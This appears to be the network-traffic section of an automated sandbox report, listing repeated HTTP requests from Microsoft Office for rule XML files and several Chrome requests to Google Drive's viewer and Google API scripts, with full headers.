Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /viewer2/prod-03/meta?ck=drive&ds=APznzabhUCA21QqNWg_vti3mXa0RHKwiqxlOJ-aeL9dvQ66ql45Dfr9b_h9LyRggyfCxDVZWlvHN0LvAdyV870z8z6I5WG46cl-9Phq5i9Qtwd7eTdRRxjjBcHVYQXMLWe622eABf1QTH3-8V3c85OJ6JKcZKl3plhvfJlrgnpGAYMj1m4Ln_9Uz6jWrQTaBnrhPi5-vkx1I-DVJ4a_dCYkj9nc_6ly1bIZ_BFmwyH9AC6ra1p8_Lan_7cZ4nBd4fw0GncIFh45qlEW-UCM2-9CyVxWmw-o76zdcElStxTJeyNZ3hHefOT_eYD6qRTkUtdSfODWyUF3Hr7U11PgdzDqIWFqNCNErd_7MDFkhbQfyzSLNoNz0Yq22Tp0yYiK974t8MbgIPCsRe0Ffyo-xlPjQEg78AsiIAg%3D%3D&authuser=0 HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /viewer2/prod-03/img?ck=drive&ds=APznzabhUCA21QqNWg_vti3mXa0RHKwiqxlOJ-aeL9dvQ66ql45Dfr9b_h9LyRggyfCxDVZWlvHN0LvAdyV870z8z6I5WG46cl-9Phq5i9Qtwd7eTdRRxjjBcHVYQXMLWe622eABf1QTH3-8V3c85OJ6JKcZKl3plhvfJlrgnpGAYMj1m4Ln_9Uz6jWrQTaBnrhPi5-vkx1I-DVJ4a_dCYkj9nc_6ly1bIZ_BFmwyH9AC6ra1p8_Lan_7cZ4nBd4fw0GncIFh45qlEW-UCM2-9CyVxWmw-o76zdcElStxTJeyNZ3hHefOT_eYD6qRTkUtdSfODWyUF3Hr7U11PgdzDqIWFqNCNErd_7MDFkhbQfyzSLNoNz0Yq22Tp0yYiK974t8MbgIPCsRe0Ffyo-xlPjQEg78AsiIAg%3D%3D&authuser=0&page=0&skiphighlight=true&w=800&webp=true HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /viewer2/prod-03/presspage?ck=drive&ds=APznzabhUCA21QqNWg_vti3mXa0RHKwiqxlOJ-aeL9dvQ66ql45Dfr9b_h9LyRggyfCxDVZWlvHN0LvAdyV870z8z6I5WG46cl-9Phq5i9Qtwd7eTdRRxjjBcHVYQXMLWe622eABf1QTH3-8V3c85OJ6JKcZKl3plhvfJlrgnpGAYMj1m4Ln_9Uz6jWrQTaBnrhPi5-vkx1I-DVJ4a_dCYkj9nc_6ly1bIZ_BFmwyH9AC6ra1p8_Lan_7cZ4nBd4fw0GncIFh45qlEW-UCM2-9CyVxWmw-o76zdcElStxTJeyNZ3hHefOT_eYD6qRTkUtdSfODWyUF3Hr7U11PgdzDqIWFqNCNErd_7MDFkhbQfyzSLNoNz0Yq22Tp0yYiK974t8MbgIPCsRe0Ffyo-xlPjQEg78AsiIAg%3D%3D&authuser=0&page=0 HTTP/1.1Host: drive.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /js/googleapis.proxy.js?onload=startup HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://content.googleapis.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0?le=scs HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://content.googleapis.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
